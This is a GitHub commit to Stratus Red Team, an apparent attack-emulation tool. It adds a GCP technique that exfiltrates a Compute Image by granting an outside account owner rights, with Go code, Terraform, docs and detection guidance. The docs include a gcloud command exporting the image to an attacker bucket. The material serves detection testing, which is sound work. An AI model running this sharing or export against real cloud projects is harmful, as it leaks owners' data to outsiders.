Skip to content

Commit

Permalink
feat(GCP): Exfiltrates a Compute Image by sharing it (#440)
Browse files Browse the repository at this point in the history
* wip

* feat(GCP): Exfiltrates a Compute Image by sharing it

* fixup! feat(GCP): Exfiltrates a Compute Image by sharing it

* fixup! fixup! feat(GCP): Exfiltrates a Compute Image by sharing it
  • Loading branch information
vthiery authored Nov 29, 2023
1 parent 36a30a8 commit ff3e95e
Show file tree
Hide file tree
Showing 7 changed files with 320 additions and 0 deletions.
99 changes: 99 additions & 0 deletions docs/attack-techniques/GCP/gcp.exfiltration.share-compute-image.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
---
title: Exfiltrate Compute Image by sharing it
---

# Exfiltrate Compute Image by sharing it

<span class="smallcaps w3-badge w3-orange w3-round w3-text-sand" title="This attack technique might be slow to warm up or detonate">slow</span>
<span class="smallcaps w3-badge w3-blue w3-round w3-text-white" title="This attack technique can be detonated multiple times">idempotent</span>

Platform: GCP

## MITRE ATT&CK Tactics


- Exfiltration

## Description


Exfiltrates a Compute Image by sharing with a fictitious attacker account. The attacker could then create a snapshot of the image in their GCP project.

<span style="font-variant: small-caps;">Warm-up</span>:

- Create a Compute Image

<span style="font-variant: small-caps;">Detonation</span>:

- Set the IAM policy of the image so that the attacker account has permissions to read the image in their own project

!!! note

Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to stratusredteam@gmail.com by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
this behavior by setting the environment variable <code>STRATUS_RED_TEAM_ATTACKER_EMAIL</code>, for instance:

```bash
export STRATUS_RED_TEAM_ATTACKER_EMAIL="your-own-gmail-account@gmail.com"
stratus detonate gcp.exfiltration.share-compute-image
```


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate gcp.exfiltration.share-compute-image
```
## Detection


You can detect when someone changes the IAM policy of a Compute Image, using the GCP Admin Activity audit logs event <code>v1.compute.images.setIamPolicy</code>. Here's a sample event, shortened for clarity:

```json hl_lines="18 20 25""
{
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user-sharing-the-image@domain.tld",
"principalSubject": "user:user-sharing-the-image@domain.tld"
},
"requestMetadata": {
"callerIp": "34.33.32.31",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/..."
},
"resourceName": "projects/victim-project/global/images/stratus-red-team-victim-image",
"request": {
"policy": {
"version": "3",
"bindings": [
{
"role": "roles/owner",
"members": [
"user:attacker@gmail.com"
]
}
]
},
"@type": "type.googleapis.com/compute.images.setIamPolicy"
}
}
}
```

After the attacker has permissions on the Compute Image, they can export it in their own GCP Storage using:

```bash
gcloud compute images export \
--destination-uri gs://attacker-bucket/victim-image \
--image stratus-red-team-victim-image
```

Based on this event, detection strategies may include:

- Alerting when the IAM policy of a Compute Image is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query:

```sql
protoPayload.methodName="v1.compute.images.setIamPolicy"
```


2 changes: 2 additions & 0 deletions docs/attack-techniques/GCP/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT

- [Exfiltrate Compute Disk by sharing it](./gcp.exfiltration.share-compute-disk.md)

- [Exfiltrate Compute Image by sharing it](./gcp.exfiltration.share-compute-image.md)

- [Exfiltrate Compute Disk by sharing a snapshot](./gcp.exfiltration.share-compute-snapshot.md)


Expand Down
1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Execute Commands on Virtual Machine using Run Command](./azure/azure.execution.vm-run-command.md) | [Azure](./azure/index.md) | Execution |
| [Export Disk Through SAS URL](./azure/azure.exfiltration.disk-export.md) | [Azure](./azure/index.md) | Exfiltration |
| [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration |
| [Exfiltrate Compute Image by sharing it](./GCP/gcp.exfiltration.share-compute-image.md) | [GCP](./GCP/index.md) | Exfiltration |
| [Exfiltrate Compute Disk by sharing a snapshot](./GCP/gcp.exfiltration.share-compute-snapshot.md) | [GCP](./GCP/index.md) | Exfiltration |
| [Backdoor a GCP Service Account through its IAM Policy](./GCP/gcp.persistence.backdoor-service-account-policy.md) | [GCP](./GCP/index.md) | Persistence |
| [Create an Admin GCP Service Account](./GCP/gcp.persistence.create-admin-service-account.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation |
Expand Down
7 changes: 7 additions & 0 deletions docs/index.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -295,6 +295,13 @@ GCP:
- Exfiltration
platform: GCP
isIdempotent: true
- id: gcp.exfiltration.share-compute-image
name: Exfiltrate Compute Image by sharing it
isSlow: true
mitreAttackTactics:
- Exfiltration
platform: GCP
isIdempotent: true
- id: gcp.exfiltration.share-compute-snapshot
name: Exfiltrate Compute Disk by sharing a snapshot
isSlow: false
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,182 @@
package gcp

import (
compute "cloud.google.com/go/compute/apiv1"
"context"
computepb "google.golang.org/genproto/googleapis/cloud/compute/v1"
"log"

_ "embed"
"fmt"
"github.com/datadog/stratus-red-team/v2/internal/providers"
gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
)

//go:embed main.tf
var tf []byte

const codeBlock = "```"
const AttackTechniqueId = "gcp.exfiltration.share-compute-image"

func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: AttackTechniqueId,
FriendlyName: "Exfiltrate Compute Image by sharing it",
IsSlow: true,
Description: `
Exfiltrates a Compute Image by sharing with a fictitious attacker account. The attacker could then create a snapshot of the image in their GCP project.
Warm-up:
- Create a Compute Image
Detonation:
- Set the IAM policy of the image so that the attacker account has permissions to read the image in their own project
!!! note
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
this behavior by setting the environment variable <code>` + gcp_utils.AttackerEmailEnvVarKey + `</code>, for instance:
` + codeBlock + `bash
export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
stratus detonate ` + AttackTechniqueId + `
` + codeBlock + `
`,
Detection: `
You can detect when someone changes the IAM policy of a Compute Image, using the GCP Admin Activity audit logs event <code>v1.compute.images.setIamPolicy</code>. Here's a sample event, shortened for clarity:
` + codeBlock + `json hl_lines="18 20 25""
{
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user-sharing-the-image@domain.tld",
"principalSubject": "user:user-sharing-the-image@domain.tld"
},
"requestMetadata": {
"callerIp": "34.33.32.31",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/..."
},
"resourceName": "projects/victim-project/global/images/stratus-red-team-victim-image",
"request": {
"policy": {
"version": "3",
"bindings": [
{
"role": "roles/owner",
"members": [
"user:attacker@gmail.com"
]
}
]
},
"@type": "type.googleapis.com/compute.images.setIamPolicy"
}
}
}
` + codeBlock + `
After the attacker has permissions on the Compute Image, they can export it in their own GCP Storage using:
` + codeBlock + `bash
gcloud compute images export \
--destination-uri gs://attacker-bucket/victim-image \
--image stratus-red-team-victim-image
` + codeBlock + `
Based on this event, detection strategies may include:
- Alerting when the IAM policy of a Compute Image is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query:
` + codeBlock + `sql
protoPayload.methodName="v1.compute.images.setIamPolicy"
` + codeBlock + `
`,
Platform: stratus.GCP,
IsIdempotent: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Exfiltration},
Detonate: detonate,
Revert: revert,
PrerequisitesTerraformCode: tf,
})
}

func detonate(params map[string]string, providers stratus.CloudProviders) error {
gcp := providers.GCP()
imageName := params["image_name"]
attackerPrincipal := gcp_utils.GetAttackerPrincipal()

log.Println("Exfiltrating " + imageName + " by sharing it with a fictitious attacker")
err := shareImage(context.Background(), gcp, imageName, attackerPrincipal)
if err != nil {
return fmt.Errorf("failed to share image: %w", err)
}
log.Println("Successfully shared image with a fictitious attacker account " + attackerPrincipal)
return nil
}

func revert(params map[string]string, providers stratus.CloudProviders) error {
gcp := providers.GCP()
imageName := params["image_name"]

log.Println("Unsharing " + imageName)
if err := unshareImage(context.Background(), gcp, imageName); err != nil {
return fmt.Errorf("unable to unshare image: %w", err)
}
log.Println("Successfully unshared the image - it is now private again")
return nil
}

func shareImage(ctx context.Context, gcp *providers.GCPProvider, imageName string, targetPrincipal string) error {
imageClient, err := compute.NewImagesRESTClient(ctx, gcp.Options())
if err != nil {
return fmt.Errorf("unable to create compute client: %w", err)
}

roleName := "roles/owner"

_, err = imageClient.SetIamPolicy(ctx, &computepb.SetIamPolicyImageRequest{
Resource: imageName,
Project: gcp.GetProjectId(),
GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{
Policy: &computepb.Policy{
Bindings: []*computepb.Binding{
{
Members: []string{targetPrincipal},
Role: &roleName,
},
},
},
},
})
if err != nil {
return fmt.Errorf("unable to set iam policy: %w", err)
}
return nil
}

func unshareImage(ctx context.Context, gcp *providers.GCPProvider, imageName string) error {
imageClient, err := compute.NewImagesRESTClient(ctx, gcp.Options())
if err != nil {
return fmt.Errorf("unable to create compute client: %w", err)
}

_, err = imageClient.SetIamPolicy(ctx, &computepb.SetIamPolicyImageRequest{
Resource: imageName,
Project: gcp.GetProjectId(),
GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{
Policy: &computepb.Policy{
Bindings: []*computepb.Binding{},
},
},
})
if err != nil {
return fmt.Errorf("unable to set iam policy: %w", err)
}
return nil
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
terraform {
required_providers {
google = {
source = "hashicorp/google"
version = "~> 4.28.0"
}
}
}

locals {
image-name = "stratus-red-team-victim-image"
}

resource "google_compute_image" "this" {
name = local.image-name

raw_disk {
source = "https://storage.googleapis.com/bosh-gce-raw-stemcells/bosh-stemcell-97.98-google-kvm-ubuntu-xenial-go_agent-raw-1557960142.tar.gz"
}
}

output "image_name" {
value = google_compute_image.this.name
}

output "display" {
value = format("Compute image %s is ready", google_compute_image.this.name)
}
1 change: 1 addition & 0 deletions v2/internal/attacktechniques/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -37,6 +37,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-run-command"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/exfiltration/disk-export"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account"
Expand Down

0 comments on commit ff3e95e

Please sign in to comment.